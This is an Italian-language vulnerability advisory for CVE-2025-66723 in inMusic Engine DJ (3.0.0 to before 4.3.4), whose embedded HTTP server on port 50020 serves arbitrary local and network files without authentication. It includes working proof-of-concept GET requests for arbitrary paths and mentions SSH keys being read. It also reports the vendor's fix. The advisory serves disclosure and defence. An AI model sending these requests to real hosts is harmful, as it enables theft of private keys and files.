
CVE-2025-66723: inMusic Brands Engine DJ >=3.0.0 fino a <4.3.4 espone file locali e di rete a parti esterne
Il software Engine DJ di inMusic Brands contiene un server HTTP incorporato per trasmettere file della libreria multimediale ai client connessi sulla rete. I file multimediali sono referenziati tramite percorso del filesystem. Engine DJ non autentica i client né limita i percorsi del filesystem richiesti. Ciò consente a un attaccante di esfiltrare file sensibili locali o accessibili in rete dai sistemi interessati.
Un attaccante necessita solo dell'accesso di rete all'host interessato; non è richiesta autenticazione né interazione preliminare.
Engine DJ v4.3.4, rilasciato il 17 novembre 2025, include una mitigazione. Gli utenti sono incoraggiati ad aggiornare il prima possibile.
Punteggio base CVSS v3.1: 7.5 (Alto)
Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Engine DJ >=3.0.0, <4.3.4, su tutte le piattaforme (macOS, Windows).
Versioni specificamente testate e risultate affette/vulnerabili, macOS e Windows:
3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.2.0, 3.3.0, 3.4.0,
4.0.0, 4.0.1, 4.1.0, 4.2.0, 4.2.1, 4.3.0
Versioni specificamente testate e risultate non affette, macOS e Windows:
2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0,
4.3.4
All'avvio, Engine DJ si lega alla porta :50020 su ogni interfaccia di rete IPv4 tranne localhost.
I client devono utilizzare un servizio gRPC separato sulla porta :50010 per richiedere l'accesso e cercare file multimediali. Una volta trovato il percorso del file desiderato, il client effettua una richiesta HTTP sulla porta :50020:
GET /download/%3CC%3A%2FMusic%2Ftest.flac%3E HTTP/1.1
Host: 192.0.2.1:50020
User-Agent: EngineOS/1.0 DenonDJ
Accept: */*
HTTP/1.1 200 OK
Content-Length: 37517194
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
…
Nota: Decodificato, il percorso GET sopra è semplicemente:
/download/<C:/Music/test.flac>
Non è necessario codificare percentualmente questi caratteri quando si effettuano richieste.
Un attaccante può richiedere qualsiasi cosa accessibile all'utente sotto cui è in esecuzione il software Engine DJ, purché il percorso sia noto all'attaccante. In questo esempio, viene utilizzato un file di testo per i test:
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 200 OK
Content-Length: 40
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
INSECURE...
From text file test.txt
I file a cui è stato effettuato l'accesso durante i test di laboratorio proof-of-concept includevano chiavi SSH private e file di ambiente.
I percorsi richiesti non sono limitati a file locali. Sono risultati accessibili anche percorsi di rete, soggetti ai permessi dell'host:
/download/<//EXAMPLE-SERVER/C$/secret.txt>
Fortunatamente, non c'è un'intestazione Access-Control-Allow-Origin o intestazioni correlate nella risposta del server. Pertanto, i file non sono accessibili da normali client basati sul web. Alcune estensioni o flag del browser possono essere utilizzati per allentare le restrizioni delle richieste cross-origin, ma non sono comuni.
Il traffico di rete IPv4 sulla porta :50020 può essere utilizzato per ipotizzare che Engine DJ sia in uso, ma non indica se un host è vulnerabile. Il server incorporato non si identifica nelle sue risposte e non sembra esserci alcuna differenza misurabile tra le versioni vulnerabili e non vulnerabili di Engine DJ. Pertanto, non sembra possibile determinare esternamente se un host è vulnerabile, se non tentando di richiedere un file noto per esistere.
Immediatamente dopo la scoperta, inMusic Brands è stata informata della vulnerabilità tramite i propri canali di supporto tecnico. La risposta è stata professionale e rapida, e una mitigazione del problema è stata rilasciata come parte della v4.3.4 il 17 novembre 2025 sia per macOS che per Windows.
Sebbene i file multimediali possano ancora essere scaricati senza autenticazione/autorizzazione, i percorsi richiedibili sono ora inseriti in una whitelist in modo che non sia possibile tentare di accedere a un file al di fuori della libreria multimediale. Gli utenti riceveranno una risposta 403 per qualsiasi cosa non nella whitelist, anche se non esiste.
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 403 Forbidden
Content-Length: 17
Content-Type: text/html
Keep-Alive: timeout=5, max=5
…
I download ufficiali delle ultime versioni di Engine DJ si possono trovare sul sito ufficiale di Engine DJ:
https://enginedj.com/downloads
Per domande su questo rapporto, contattare l'autore:
Brad Isbell, AudioPump, Inc. [email protected]